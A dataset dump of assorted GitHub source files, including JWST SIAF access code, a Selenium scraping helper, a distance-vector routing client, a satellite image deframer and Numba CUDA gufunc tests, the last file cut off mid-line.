+{"seq_id":"31825405075","text":"from smarte.analysis import util as ut\nimport smarte.constants as cn\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport unittest\n\n\nIGNORE_TEST = False\nIS_PLOT = False\n \n\n#############################\n# Tests\n#############################\nclass TestFunction(unittest.TestCase):\n\n def testSubsetLabels(self):\n if IGNORE_TEST:\n return\n labels = [\"a\", \"bb\", \"ccc\", \"dddd\", \"eeeee\"]\n def test(max_label):\n new_labels = ut.subsetLabels(labels, max_label)\n count = len([v for v in new_labels if len(v) > 0])\n self.assertEqual(count, max_label)\n test(5)\n test(2)\n test(4)\n \n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"ModelEngineering/smarte","sub_path":"tests/analysis/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38824335843","text":"\"\"\"SIAF Database Access\n\nProvide a common interface to different versions of the SIAF.\n\nUnder operations, the SIAF is found in a sqlite database.\nOtherwise, use the standard interface defined by the `pysiaf` package\n\"\"\"\nfrom collections import namedtuple\nfrom datetime import date\nimport logging\nimport os\nfrom pathlib import Path\n\nfrom .basic_utils import LoggingContext\n\n# Setup logging\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n# Map instrument three character mnemonic to full name\nINSTRUMENT_MAP = {\n 'fgs': 'fgs',\n 'mir': 'miri',\n 'nis': 'niriss',\n 'nrc': 'nircam',\n 'nrs': 'nirspec'\n}\n\n# SIAF container\n# The names should correspond to the names in the ``wcsinfo`` schema.\n# It is populated by the SIAF values in the PRD database based\n# on APERNAME and UseAfterDate and used to populate the keywords\n# in Level1bModel data models.\nSIAF = namedtuple(\"SIAF\", [\"v2_ref\", \"v3_ref\", \"v3yangle\", \"vparity\",\n \"crpix1\", \"crpix2\", \"cdelt1\", \"cdelt2\",\n \"vertices_idl\"])\n# Set default values for the SIAF.\n# Values which are needed by the pipeline are set to None which\n# triggers a ValueError if missing in the SIAF database.\n# Quantities not used by the pipeline get a default value -\n# FITS keywords and aperture vertices.\nSIAF.__new__.__defaults__ = (None, None, None, None, 0, 0, 3600, 3600,\n (0, 1, 1, 0, 0, 0, 1, 1))\n\nSIAF_REQUIRED = ['V2Ref', 'V3Ref', 'V3IdlYAngle', 'VIdlParity']\nSIAF_OPTIONAL = ['XSciRef', 'YSciRef', 'XSciScale', 'YSciScale']\nSIAF_VERTICIES = ['XIdlVert1', 'XIdlVert2', 'XIdlVert3', 'XIdlVert4',\n 'YIdlVert1', 'YIdlVert2', 'YIdlVert3', 'YIdlVert4']\nSIAF_MAP = {'V2Ref': 'v2_ref', 'V3Ref': 'v3_ref', 'V3IdlYAngle': 'v3yangle', 'VIdlParity': 'vparity',\n 'XSciRef': 'crpix1', 'YSciRef': 'crpix2', 'XSciScale': 'cdelt1', 'YSciScale': 'cdelt2'}\n\n\nclass SiafDb:\n \"\"\"Use pysiaf as the source of siaf information\n\n Parameters\n ----------\n source : None, str, or a file-like object\n If None, then the latest PRD version in `pysiaf` is used.\n Otherwise, it should be a string or Path-like object pointing to a folder containing the\n SIAF XML files.\n\n prd : None or str\n The PRD version to use from the pysiaf application. If `source` has also been\n specified, `source` will be used instead.\n\n Notes\n -----\n The interpretation of `source` is as follows:\n\n \"\"\"\n def __init__(self, source=None, prd=None):\n logger_pysiaf = logging.getLogger('pysiaf')\n log_level = logger_pysiaf.getEffectiveLevel()\n if not source and not prd:\n log_level = logging.ERROR\n try:\n with LoggingContext(logger_pysiaf, level=log_level):\n import pysiaf\n except ImportError:\n raise ValueError('Package \"pysiaf\" is not installed. Cannot use the pysiaf api')\n self.pysiaf = pysiaf\n\n self.prd_version = None\n self.xml_path = self.get_xml_path(source, prd)\n\n def get_aperture(self, aperture, useafter=None):\n \"\"\"Get the pysiaf.Aperture for an aperture\n\n Parameters\n ----------\n aperture : str\n The name of the aperture to retrieve.\n useafter : str\n The date of observation (``model.meta.date``)\n\n Returns\n -------\n aperture : pysiaf.Aperture\n The aperture specification.\n \"\"\"\n if not useafter:\n useafter = date.today().strftime('%Y-%m-%d')\n\n instrument = INSTRUMENT_MAP[aperture[:3].lower()]\n siaf = self.pysiaf.Siaf(instrument, basepath=self.xml_path)\n aperture = siaf[aperture.upper()]\n return aperture\n\n def get_wcs(self, aperture, to_detector=False, useafter=None):\n \"\"\"\n Query the SIAF database file and get WCS values.\n\n Given an ``APERTURE_NAME`` and a ``USEAFTER`` date query the SIAF database\n and extract the following keywords:\n ``V2Ref``, ``V3Ref``, ``V3IdlYAngle``, ``VIdlParity``,\n ``XSciRef``, ``YSciRef``, ``XSciScale``, ``YSciScale``,\n ``XIdlVert1``, ``XIdlVert2``, ``XIdlVert3``, ``XIdlVert4``,\n ``YIdlVert1``, ``YIdlVert2``, ``YIdlVert3``, ``YIdlVert4``\n\n Parameters\n ----------\n aperture : str\n The name of the aperture to retrieve.\n to_detector : bool\n Convert all the pixel parameters to be relative to the detector.\n useafter : str\n The date of observation (``model.meta.date``)\n\n Returns\n -------\n siaf : namedtuple\n The SIAF namedtuple with values from the PRD database.\n \"\"\"\n aperture = self.get_aperture(aperture, useafter=useafter)\n\n # Build the SIAF entry. Missing required values is an error.\n # Otherwise, use defaults.\n default_siaf = SIAF()\n values = {SIAF_MAP[key]: getattr(aperture, key) for key in SIAF_REQUIRED}\n if not all(values):\n raise RuntimeError(f'Required SIAF entries for {aperture} are not all defined: {values}')\n for key in SIAF_OPTIONAL:\n value = getattr(aperture, key)\n value = value if value else getattr(default_siaf, SIAF_MAP[key])\n values[SIAF_MAP[key]] = value\n vertices = list()\n for key in SIAF_VERTICIES:\n value = getattr(aperture, key)\n value = value if value else getattr(default_siaf, SIAF_MAP[key])\n vertices.append(value)\n vertices = tuple(vertices)\n\n if to_detector:\n values['crpix1'], values['crpix2'] = aperture.sci_to_det(aperture.XSciRef, aperture.YSciRef)\n\n # Fill out the Siaf\n siaf = SIAF(**values, vertices_idl=vertices)\n\n return siaf\n\n def get_xml_path(self, source, prd):\n \"\"\"Determine the XML source to use\n\n Parameters\n ----------\n source : None, str, or a file-like object\n If None, the environmental XML_DATA is queried.\n If None and no XML_DATA information, then the PRD version, as defined by `prd`,\n will be used.\n Otherwise, it should be a string or Path-like object pointing to a folder containing the\n SIAF XML files.\n\n prd : None or str\n The PRD version to use from the pysiaf application. If `source` has also been\n specified, `source` will be used instead.\n\n Returns\n -------\n xml_path : Path\n Either the Path to the XML files.\n\n Raises\n ------\n ValueError\n If `source` does not resolve to a folder or `prd` is not a valid PRD version.\n \"\"\"\n\n # If `source` is defined and valid, use that.\n xml_path = None\n if source is not None:\n xml_path = Path(source)\n if not xml_path.is_dir():\n raise ValueError('Source %s: Needs to be a folder for use with pysiaf', xml_path)\n\n # If nothing has been specified, see if XML_DATA says what to do.\n if not xml_path:\n xml_path = os.environ.get('XML_DATA', None)\n if xml_path:\n xml_path = Path(xml_path) / 'SIAFXML'\n\n # If a PRD version is defined, attempt to use that.\n if not xml_path and prd:\n prd_to_use, xml_path = nearest_prd(self.pysiaf, prd)\n self.prd_version = prd_to_use\n logger.info('Using PRD %s for specified PRD %s', prd_to_use, prd)\n\n # If nothing has been specified, see if XML_DATA says what to do.\n if not xml_path:\n xml_path = os.environ.get('XML_DATA', None)\n if xml_path:\n xml_path = Path(xml_path) / 'SIAFXML'\n\n # If nothing else, use the `pysiaf` default.\n if not xml_path:\n xml_path = Path(self.pysiaf.JWST_PRD_DATA_ROOT)\n logger.info('pysiaf: Using latest installed PRD %s', self.pysiaf.JWST_PRD_VERSION)\n self.prd_version = self.pysiaf.JWST_PRD_VERSION\n else:\n logger.info('pysiaf: Using SIAF XML folder %s', xml_path)\n\n return xml_path\n\n\n# #########\n# Utilities\n# #########\ndef nearest_prd(pysiaf_module, prd):\n \"\"\"Find the nearest PRD version to the version specified.\n\n The SIAF is not updated in every new PRD. Find the latest PRD\n which has the SIAF specification.\n\n Parameters\n ----------\n pysiaf_module : module\n The `pysiaf` module in use\n\n prd : str\n Requested PRD specification. Should be of the form\n \"PRDOPSSOC-XXX\" where XXX is a 3 digit number.\n\n Returns\n -------\n prd_to_use, xml_path : str, Path\n The PRD name and path to the XML files of the PRD that is to be used.\n \"\"\"\n prd = prd.upper()\n if not prd.startswith('PRDOPSSOC'):\n raise ValueError('PRD specification must begin with PRDOPSSOC: %s', prd)\n\n prd_root = Path(pysiaf_module.JWST_PRD_DATA_ROOT).parent.parent.parent\n prds = [prd_path.stem for prd_path in prd_root.glob('*')]\n prds.append(prd)\n prds.sort(reverse=True)\n try:\n prd_to_use = prds[prds.index(prd) + 1]\n except IndexError:\n raise ValueError('Cannot find a matching PRD for %s', prd)\n\n if not (prd_root / prd_to_use).is_dir():\n raise ValueError('PRD specification %s does not exist', prd)\n\n xml_path = prd_root / prd_to_use / 'SIAFXML' / 'SIAFXML'\n return prd_to_use, xml_path\n","repo_name":"spacetelescope/jwst","sub_path":"jwst/lib/siafdb.py","file_name":"siafdb.py","file_ext":"py","file_size_in_byte":9454,"program_lang":"python","lang":"en","doc_type":"code","stars":495,"dataset":"github-code","pt":"62"} +{"seq_id":"29762266536","text":"#!/usr/bin/python\n# encoding: utf-8\n# Author: fanxn\n# Date: 2018/4/22\n\n#!/usr/bin/python\n# encoding: utf-8\n\nimport os\n\nos.environ[\"PATH\"] += \":{}\".format(os.path.abspath(\"./lib\"))\n\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import WebDriverException, TimeoutException\nfrom PIL import Image\nfrom io import BytesIO\nfrom traceback import format_exc\n\n\n# 定义选择方式\nclass Selector:\n def __init__(self, browser):\n self.browser = browser\n\n def get(self, selector_type, descriptor):\n if selector_type == \"CSS选择器\":\n selector = self.browser.find_element_by_css_selector\n elif selector_type == \"name属性\":\n selector = self.browser.find_element_by_name\n elif selector_type == \"指定ID\":\n selector = self.browser.find_element_by_id\n elif selector_type == \"XPATH\":\n selector = self.browser.find_element_by_xpath\n elif selector_type == \"标签名\":\n selector = self.browser.find_element_by_tag_name\n else:\n selector = self.browser.find_element\n\n try:\n return selector(descriptor)\n except WebDriverException as wde:\n self.browser.quit()\n raise wde\n\n\nclass Action:\n def __init__(self):\n self.browser = None\n self.wait = None\n self.selector = None\n\n # 开始\n def begin(self, headless=False, browser_type=\"chrome\"):\n if browser_type.lower() == \"firefox\":\n options = webdriver.FirefoxOptions()\n if headless:\n options.set_headless()\n # options.add_argument('-headless')\n options.add_argument('--disable-gpu')\n self.browser = webdriver.Firefox(options=options)\n else:\n options = webdriver.ChromeOptions()\n if headless:\n options.set_headless()\n # options.add_argument('-headless')\n # options.add_argument('--disable-gpu')\n self.browser = webdriver.Chrome(options=options)\n\n # 设置全屏\n self.browser.maximize_window()\n self.wait = WebDriverWait(self.browser, 10)\n self.selector = Selector(self.browser).get\n\n # 结束\n def end(self):\n self.browser.quit()\n\n # 点击\n def click(self, selector_type, descriptor):\n tar_element = self.selector(selector_type, descriptor)\n if tar_element.is_displayed():\n if not (tar_element.is_selected() and tar_element.tag_name == \"input\"):\n tar_element.click()\n else:\n print(\"{} {} is not visibled on the page, operation skiped.\".format(selector_type, descriptor))\n\n # 输入\n def enter(self, selector_type, descriptor, context):\n self.selector(selector_type, descriptor).send_keys(context)\n\n # 清空\n def clear(self, selector_type, descriptor, context):\n self.selector(selector_type, descriptor).clear()\n\n # URL跳转\n def goto_url(self, url):\n self.browser.get(url)\n\n # 截图\n def save_img(self, dir_name, img_name, path=\"./target\"):\n path = os.path.join(path, dir_name)\n if not os.path.exists(path):\n os.mkdir(path)\n\n if not (img_name.endswith(\".png\") or img_name.endswith(\".jpg\") or img_name.endswith(\".git\")):\n img_name = \"{}.png\".format(img_name)\n img_path = os.path.abspath(os.path.join(path, img_name))\n # print(\"Image saved at {}\".format(img_path))\n # self.browser.get_screenshot_as_file(img_path)\n get_scroll_screenshot(self.browser, img_path)\n\n # 等待\n def waiting(self, selector_type, descriptor, timeout=10):\n print(\"wait params: {}, {}\".format(selector_type, descriptor))\n if timeout is not None and type(timeout) == int:\n self.wait = WebDriverWait(self.browser, timeout)\n try:\n if \"button\" in descriptor:\n # 按钮时等待到按钮可用为止\n self.wait.until(EC.element_to_be_clickable((getattr(By, selector_type), descriptor)))\n else:\n # 否则,只检查是否可见\n self.wait.until(EC.presence_of_element_located((getattr(By, selector_type), descriptor)))\n except TimeoutException as toe:\n # # 若等待超时,则继续等待10分钟之后报错\n # print(\"Normal waiting time run out, start waiting another 10 min.\")\n # WebDriverWait(self.browser, 600).until(EC.presence_of_element_located((By.CSS_SELECTOR, descriptor)))\n # 报错,然后继续进行\n print(\"Timeout at waiting for {} of {}\".format(selector_type, descriptor))\n print(format_exc())\n return \"Error\"\n\n # 移动局部滚动条 仅适用于mCustomScrollbar插件\n def block_scroll(self, selector_type, descriptor, cont='bottom'):\n self.browser.execute_script('$(\"{}\").mCustomScrollbar(\"scrollTo\", \"{}\");'.format(descriptor, cont))\n\n\n# 滚动截图\ndef get_scroll_screenshot(browser, img_path):\n # 整个页面的高度\n whole_page_height = browser.execute_script(\"return document.body.clientHeight;\")\n # 当前窗口页面高度\n single_window_height = browser.execute_script(\"return window.innerHeight;\")\n\n # 截图,保存为bytes格式数据\n raw_pngs = []\n cur_height = 0\n browser.execute_script(\"window.scrollTo(0, {});\".format(cur_height))\n raw_pngs.append(browser.get_screenshot_as_png())\n img_first = Image.open(BytesIO(raw_pngs[0]))\n single_size = img_first.size\n cur_height += single_window_height\n while cur_height <= whole_page_height:\n browser.execute_script(\"window.scrollTo(0, {});\".format(cur_height))\n raw_pngs.append(browser.get_screenshot_as_png())\n cur_height += single_window_height\n\n # 将所有截图合并\n img_all = Image.new(\"RGB\", (single_size[0], single_size[1] * len(raw_pngs)))\n height_shift = 0\n img_all.paste(img_first, (0, height_shift))\n for raw_png in raw_pngs[1:]:\n height_shift += single_size[1]\n img_tmp = Image.open(BytesIO(raw_png))\n img_all.paste(img_tmp, (0, height_shift))\n # img_all.show()\n # 保存为文件\n img_all.save(img_path, format=\"png\")\n print(\"Image saved at {}\".format(img_path))\n","repo_name":"cowardfxn/python-scripts","sub_path":"weibo_scraper/selenium_scraper.py","file_name":"selenium_scraper.py","file_ext":"py","file_size_in_byte":6495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31626312797","text":"from django.urls import path, include\nfrom .views import *\n\napp_name = 'schedule'\nurlpatterns = [\n path('calendar/', getCalendar, name='getCalendar'),\n path('calendar/friend/', getFriendCalendar, name='getFriendCalendar'),\n\n path('category/', CategoryLV.as_view(), name='cateList'),\n path('category//', CategoryDV.as_view(), name='cateDetail'),\n path('category/create/', CategoryCV.as_view(), name='cateCreate'),\n path('category/update//', CategoryUV.as_view(), name='cateUpdate'),\n path('category/delete//', CategoryDelete.as_view(), name='cateDelete'),\n\n path('//', Schedule_date, name='scheDate'),\n path('/', ScheduleDV.as_view(), name='scheDetail'),\n path('create///', ScheduleCV.as_view(), name='scheCreate'),\n path('update////', ScheduleUV.as_view(), name='scheUpdate'),\n path('delete////', ScheduleDel, name='scheDelete'),\n\n path('search/', SearchCalendar.as_view(), name='searchCalendar'),\n path('search/result/', SearchResult, name='searchResult'),\n\n]","repo_name":"highlrang/calendar","sub_path":"schedule/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27465407346","text":"val = int(input())\ndef find_last(val):\n data = []\n res = []\n for i in range(1, val+1):\n data.append(i)\n \n for i in range(1, val+1):\n count = 0 \n for j in range(0, val):\n count += (i-1)*j\n if (j+count) < len(data) and len(data) > 0:\n res.append(data.pop(j+count))\n return res[-1]\nprint(find_last(val))","repo_name":"WreetSarker/astha_it_solutions","sub_path":"Problem 5/problem5.py","file_name":"problem5.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5227303852","text":"import socket\nimport sys\nfrom util import *\nimport time \nclass Client:\n def __init__(self,sourceNode):\n #Shortest Distance for each node \n self.lft = {}\n #Initial Command \n self.command = \"JOIN\"\n self.node = sourceNode\n #new value pairs \n self.newvps = {}\n self.previous = {}\n #obtain list of neighbors from initial map, should never change.\n self.neighbors = []\n self.firstContact = True\n self.neighborUpdates = {}\n \n def initrcv(self,initvp):\n self.lft = initvp\n # on initial contact, server only sends the node pairs of each nodes neighbors... so we can set the updatedVPs to lft to forward to all neighbors\n self.updatedVPs = self.lft\n \n\n\n def buildMessage(self):\n m = {\n 'command' : self.command,\n 'node' : self.node,\n 'updatedVPs' : self.newvps,\n 'neighbors' : self.neighbors,\n 'neighborUpdates' : self.neighborUpdates\n }\n return encodeData(m)\n\n\n #bellman ford algorithm \n def bf(self):\n #Initialize \n distance = dict.fromkeys(self.lft,float('inf'))\n distance[self.node] = 0\n for _ in range(len(self.lft) - 1):\n for v in self.lft:\n for n in self.lft[v]:\n toCheck = self.lft[v][n]\n #-1 means no edge connecting the two\n if toCheck != -1:\n distance[n] = min(distance[n], distance[v] + self.lft[v][n] )\n return distance\n \n #APply Bellman Ford and manage updating local forwarding table and the items needed to be updated to tell other nodes\n def update(self):\n self.previous = self.lft\n updates = self.bf()\n self.lft[self.node] = updates\n self.newvps = updates\n self.command = 'UPDATE'\n \n \n def rcvupdate(self,message):\n self.previous = self.lft\n if message['command'] == 'initVP':\n self.lft = message['initlft']\n self.neighbors = findNeighbors(self.lft,self.node)\n self.update()\n else:\n updatingNode = message['node']\n updatingVPs = message['updatedVPs']\n #If the message Command is update, and theres changes from the update to what the current lft is, then update our lft \n if message['command'] == 'UPDATE':\n self.neighborUpdates[updatingNode] = updatingVPs\n self.lft[updatingNode] = updatingVPs\n self.update()\n\n \n #Check to see if any values of neighbor node has changed, return true if yes, false if no\n def change(self,updatingNode,updatingvps):\n valsToCheck = self.previous[updatingNode]\n changeVal = False\n for key in valsToCheck.keys():\n if valsToCheck[key] != updatingvps[key]:\n changeVal = True\n return changeVal\n \n\n\ndef main(node):\n ## Host and Port Values of Server \n HOST = '127.0.0.1'\n PORT = 55555 \n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\n serveraddress = (HOST,PORT)\n go = True\n client = Client(node)\n while go:\n #Ask to join Server \n if client.command == 'JOIN':\n sock.sendto(client.buildMessage(),serveraddress)\n client.command = 'LISTENING'\n\n #Listen for server \n if client.command == 'LISTENING':\n rdata,addr = sock.recvfrom(1024)\n if rdata:\n r = decodeData(rdata)\n if r == 'Kill-node.error':\n go = False\n print('Router Killed because no node ' + client.node +' exists in server process')\n elif r == 'Kill-update.final':\n print(client.lft)\n go = False\n else: client.rcvupdate(r)\n\n if client.command == 'UPDATE':\n sock.sendto(client.buildMessage(),serveraddress)\n client.command = 'LISTENING'\n sock.close()\n \nif __name__ == '__main__':\n if len(sys.argv) != 2: \n sys.exit(\"Usage: python client.py [Node Value]\")\n node = str(sys.argv[1])\n main(node)","repo_name":"Tdenhof/CompNetworksProjects","sub_path":"tjd66-proj-3/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9171943897","text":"import binascii\r\nimport io\r\nimport os\r\nimport process_image\r\n\r\nheaders = ['01003E01', '01003E05', '01002605']\r\nheaderlength = 16\r\n#Above: header for each new file that is downlinked\r\n\r\ndef mult_files(in_file):\r\n file_counter = 0\r\n for row in in_file:\r\n header = row[:headerlength]\r\n cmd = row[:headerlength//2]\r\n addr = int((row[12:14] + row[10:12]), 16) % 32768\r\n payload = row[headerlength:]\r\n #the above was SHAMELESSLY taken from the OTHER geoscan-tools =D\r\n if cmd in headers:\r\n if cmd == headers[0]:\r\n file_counter = file_counter + 1\r\n if file_counter == 1:\r\n return False, 1\r\n else:\r\n return True, file_counter\r\n \r\ndef deframe(in_file,outputfile):\r\n outfile = io.BufferedWriter\r\n file_counter = 0\r\n for row in in_file:\r\n header = row[:headerlength]\r\n cmd = row[:headerlength//2]\r\n addr = int((row[12:14] + row[10:12]), 16) % 32768\r\n payload = row[headerlength:]\r\n #the above was SHAMELESSLY taken from the OTHER geoscan-tools =D\r\n if cmd in headers:\r\n if cmd == headers[0] and not outfile.closed:\r\n file_counter = file_counter + 1\r\n outfile.close()\r\n if process_image.check_valid(outfile.name) == True:\r\n print(\"Finished processing file \"+str(file_counter)) #voodoo!\r\n else:\r\n print(\"Writing INVALID JPEG \"+str(outfile.name))\r\n\r\n if outfile.closed:\r\n filetype = 'bin'\r\n if payload.startswith(\"FFD8\"):\r\n filetype = 'jpg'\r\n outfile = open(outputfile+\"_\"+str(file_counter)+\".\"+str(filetype),'wb')\r\n else:\r\n outfile = open(outputfile+\"_\"+str(file_counter)+\".\"+str(filetype),'wb')\r\n \r\n outfile.write(bytes.fromhex(payload))\r\n \r\n if cmd == headers[2]:\r\n outfile.close()\r\n if not outfile.closed:\r\n outfile.close()\r\n \r\n","repo_name":"radio-satellites/geoscan-tools","sub_path":"deframer.py","file_name":"deframer.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"32083053926","text":"import numpy as np\nimport numpy.core.umath_tests as ut\n\nfrom collections import namedtuple\nfrom numba import void, float32, float64\nfrom numba import guvectorize\nfrom numba import cuda\nfrom numba.cuda.testing import skip_on_cudasim, CUDATestCase\nimport unittest\nimport warnings\nfrom numba.core.errors import NumbaPerformanceWarning\nfrom numba.tests.support import override_config\n\n\ndef _get_matmulcore_gufunc(dtype=float32, max_blocksize=None):\n @guvectorize([void(dtype[:, :], dtype[:, :], dtype[:, :])],\n '(m,n),(n,p)->(m,p)',\n target='cuda')\n def matmulcore(A, B, C):\n m, n = A.shape\n n, p = B.shape\n for i in range(m):\n for j in range(p):\n C[i, j] = 0\n for k in range(n):\n C[i, j] += A[i, k] * B[k, j]\n\n gufunc = matmulcore\n if max_blocksize:\n gufunc.max_blocksize = max_blocksize\n return gufunc\n\n\n@skip_on_cudasim('ufunc API unsupported in the simulator')\nclass TestCUDAGufunc(CUDATestCase):\n\n def test_gufunc_small(self):\n\n gufunc = _get_matmulcore_gufunc(max_blocksize=512)\n\n matrix_ct = 2\n A = np.arange(matrix_ct * 2 * 4, dtype=np.float32).reshape(matrix_ct, 2,\n 4)\n B = np.arange(matrix_ct * 4 * 5, dtype=np.float32).reshape(matrix_ct, 4,\n 5)\n\n C = gufunc(A, B)\n Gold = ut.matrix_multiply(A, B)\n self.assertTrue(np.allclose(C, Gold))\n\n def test_gufunc_auto_transfer(self):\n\n gufunc = _get_matmulcore_gufunc(max_blocksize=512)\n\n matrix_ct = 2\n A = np.arange(matrix_ct * 2 * 4, dtype=np.float32).reshape(matrix_ct, 2,\n 4)\n B = np.arange(matrix_ct * 4 * 5, dtype=np.float32).reshape(matrix_ct, 4,\n 5)\n\n dB = cuda.to_device(B)\n\n C = gufunc(A, dB).copy_to_host()\n Gold = ut.matrix_multiply(A, B)\n self.assertTrue(np.allclose(C, Gold))\n\n def test_gufunc(self):\n\n gufunc = _get_matmulcore_gufunc(max_blocksize=512)\n\n matrix_ct = 1001 # an odd number to test thread/block division in CUDA\n A = np.arange(matrix_ct * 2 * 4, dtype=np.float32).reshape(matrix_ct, 2,\n 4)\n B = np.arange(matrix_ct * 4 * 5, dtype=np.float32).reshape(matrix_ct, 4,\n 5)\n\n C = gufunc(A, B)\n Gold = ut.matrix_multiply(A, B)\n self.assertTrue(np.allclose(C, Gold))\n\n def test_gufunc_hidim(self):\n\n gufunc = _get_matmulcore_gufunc(max_blocksize=512)\n\n matrix_ct = 100 # an odd number to test thread/block division in CUDA\n A = np.arange(matrix_ct * 2 * 4, dtype=np.float32).reshape(4, 25, 2, 4)\n B = np.arange(matrix_ct * 4 * 5, dtype=np.float32).reshape(4, 25, 4, 5)\n\n C = gufunc(A, B)\n Gold = ut.matrix_multiply(A, B)\n self.assertTrue(np.allclose(C, Gold))\n\n def test_gufunc_new_axis(self):\n\n gufunc = _get_matmulcore_gufunc(dtype=float64)\n\n X = np.random.randn(10, 3, 3)\n Y = np.random.randn(3, 3)\n\n gold = ut.matrix_multiply(X, Y)\n\n res1 = gufunc(X, Y)\n np.testing.assert_allclose(gold, res1)\n\n res2 = gufunc(X, np.tile(Y, (10, 1, 1)))\n np.testing.assert_allclose(gold, res2)\n\n def test_gufunc_adjust_blocksize(self):\n\n gufunc = _get_matmulcore_gufunc(max_blocksize=512)\n\n matrix_ct = 1001 # an odd number to test thread/block division in CUDA\n A = np.arange(matrix_ct * 2 * 4, dtype=np.float32).reshape(matrix_ct, 2,\n 4)\n B = np.arange(matrix_ct * 4 * 5, dtype=np.float32).reshape(matrix_ct, 4,\n 5)\n\n gufunc.max_blocksize = 32\n C = gufunc(A, B)\n Gold = ut.matrix_multiply(A, B)\n self.assertTrue(np.allclose(C, Gold))\n\n def test_gufunc_stream(self):\n\n gufunc = _get_matmulcore_gufunc(max_blocksize=512)\n\n #cuda.driver.flush_pending_free()\n matrix_ct = 1001 # an odd number to test thread/block division in CUDA\n A = np.arange(matrix_ct * 2 * 4, dtype=np.float32).reshape(matrix_ct, 2,\n 4)\n B = np.arange(matrix_ct * 4 * 5, dtype=np.float32).reshape(matrix_ct, 4,\n 5)\n\n stream = cuda.stream()\n dA = cuda.to_device(A, stream)\n dB = cuda.to_device(B, stream)\n\n dC = cuda.device_array(shape=(1001, 2, 5), dtype=A.dtype, stream=stream)\n dC = gufunc(dA, dB, out=dC, stream=stream)\n C = dC.copy_to_host(stream=stream)\n stream.synchronize()\n\n Gold = ut.matrix_multiply(A, B)\n\n self.assertTrue(np.allclose(C, Gold))\n\n def test_copy(self):\n\n @guvectorize([void(float32[:], float32[:])],\n '(x)->(x)',\n target='cuda')\n def copy(A, B):\n for i in range(B.size):\n B[i] = A[i]\n\n A = np.arange(10, dtype=np.float32) + 1\n B = np.zeros_like(A)\n copy(A, out=B)\n self.assertTrue(np.allclose(A, B))\n\n def test_copy_odd(self):\n\n @guvectorize([void(float32[:], float32[:])],\n '(x)->(x)',\n target='cuda')\n def copy(A, B):\n for i in range(B.size):\n B[i] = A[i]\n\n A = np.arange(11, dtype=np.float32) + 1\n B = np.zeros_like(A)\n copy(A, out=B)\n self.assertTrue(np.allclose(A, B))\n\n def test_copy2d(self):\n\n @guvectorize([void(float32[:, :], float32[:, :])],\n '(x, y)->(x, y)',\n target='cuda')\n def copy2d(A, B):\n for x in range(B.shape[0]):\n for y in range(B.shape[1]):\n B[x, y] = A[x, y]\n\n A = np.arange(30, dtype=np.float32).reshape(5, 6) + 1\n B = np.zeros_like(A)\n copy2d(A, out=B)\n self.assertTrue(np.allclose(A, B))\n\n # Test inefficient use of the GPU where the inputs are all mapped onto a\n # single thread in a single block.\n def test_inefficient_launch_configuration(self):\n @guvectorize(['void(float32[:], float32[:], float32[:])'],\n '(n),(n)->(n)', target='cuda')\n def numba_dist_cuda(a, b, dist):\n len = a.shape[0]\n for i in range(len):\n dist[i] = a[i] * b[i]\n\n a = np.random.rand(1024 * 32).astype('float32')\n b = np.random.rand(1024 * 32).astype('float32')\n dist = np.zeros(a.shape[0]).astype('float32')\n\n with override_config('CUDA_LOW_OCCUPANCY_WARNINGS', 1):\n with warnings.catch_warnings(record=True) as w:\n numba_dist_cuda(a, b, dist)\n self.assertEqual(w[0].category, NumbaPerformanceWarning)\n self.assertIn('Grid size', str(w[0].message))\n self.assertIn('low occupancy', str(w[0].message))\n\n def test_efficient_launch_configuration(self):\n @guvectorize(['void(float32[:], float32[:], float32[:])'],\n '(n),(n)->(n)', nopython=True, target='cuda')\n def numba_dist_cuda2(a, b, dist):\n len = a.shape[0]\n for i in range(len):\n dist[i] = a[i] * b[i]\n\n a = np.random.rand(524288 * 2).astype('float32').\\\n reshape((524288, 2))\n b = np.random.rand(524288 * 2).astype('float32').\\\n reshape((524288, 2))\n dist = np.zeros_like(a)\n\n with override_config('CUDA_LOW_OCCUPANCY_WARNINGS', 1):\n with warnings.catch_warnings(record=True) as w:\n numba_dist_cuda2(a, b, dist)\n self.assertEqual(len(w), 0)\n\n def test_nopython_flag(self):\n\n def foo(A, B):\n pass\n\n # nopython = True is fine\n guvectorize([void(float32[:], float32[:])], '(x)->(x)', target='cuda',\n nopython=True)(foo)\n\n # nopython = False is bad\n with self.assertRaises(TypeError) as raises:\n guvectorize([void(float32[:], float32[:])], '(x)->(x)',\n target='cuda', nopython=False)(foo)\n self.assertEqual(\"nopython flag must be True\", str(raises.exception))\n\n def test_invalid_flags(self):\n # Check invalid flags\n def foo(A, B):\n pass\n\n with self.assertRaises(TypeError) as raises:\n guvectorize([void(float32[:], float32[:])], '(x)->(x)',\n target='cuda', what1=True, ever2=False)(foo)\n head = \"The following target options are not supported:\"\n msg = str(raises.exception)\n self.assertEqual(msg[:len(head)], head)\n items = msg[len(head):].strip().split(',')\n items = [i.strip(\"'\\\" \") for i in items]\n self.assertEqual(set(['what1', 'ever2']), set(items))\n\n def test_duplicated_output(self):\n @guvectorize([void(float32[:], float32[:])], '(x)->(x)', target='cuda')\n def foo(inp, out):\n pass # intentionally empty; never executed\n\n inp = out = np.zeros(10, dtype=np.float32)\n with self.assertRaises(ValueError) as raises:\n foo(inp, out, out=out)\n\n msg = \"cannot specify 'out' as 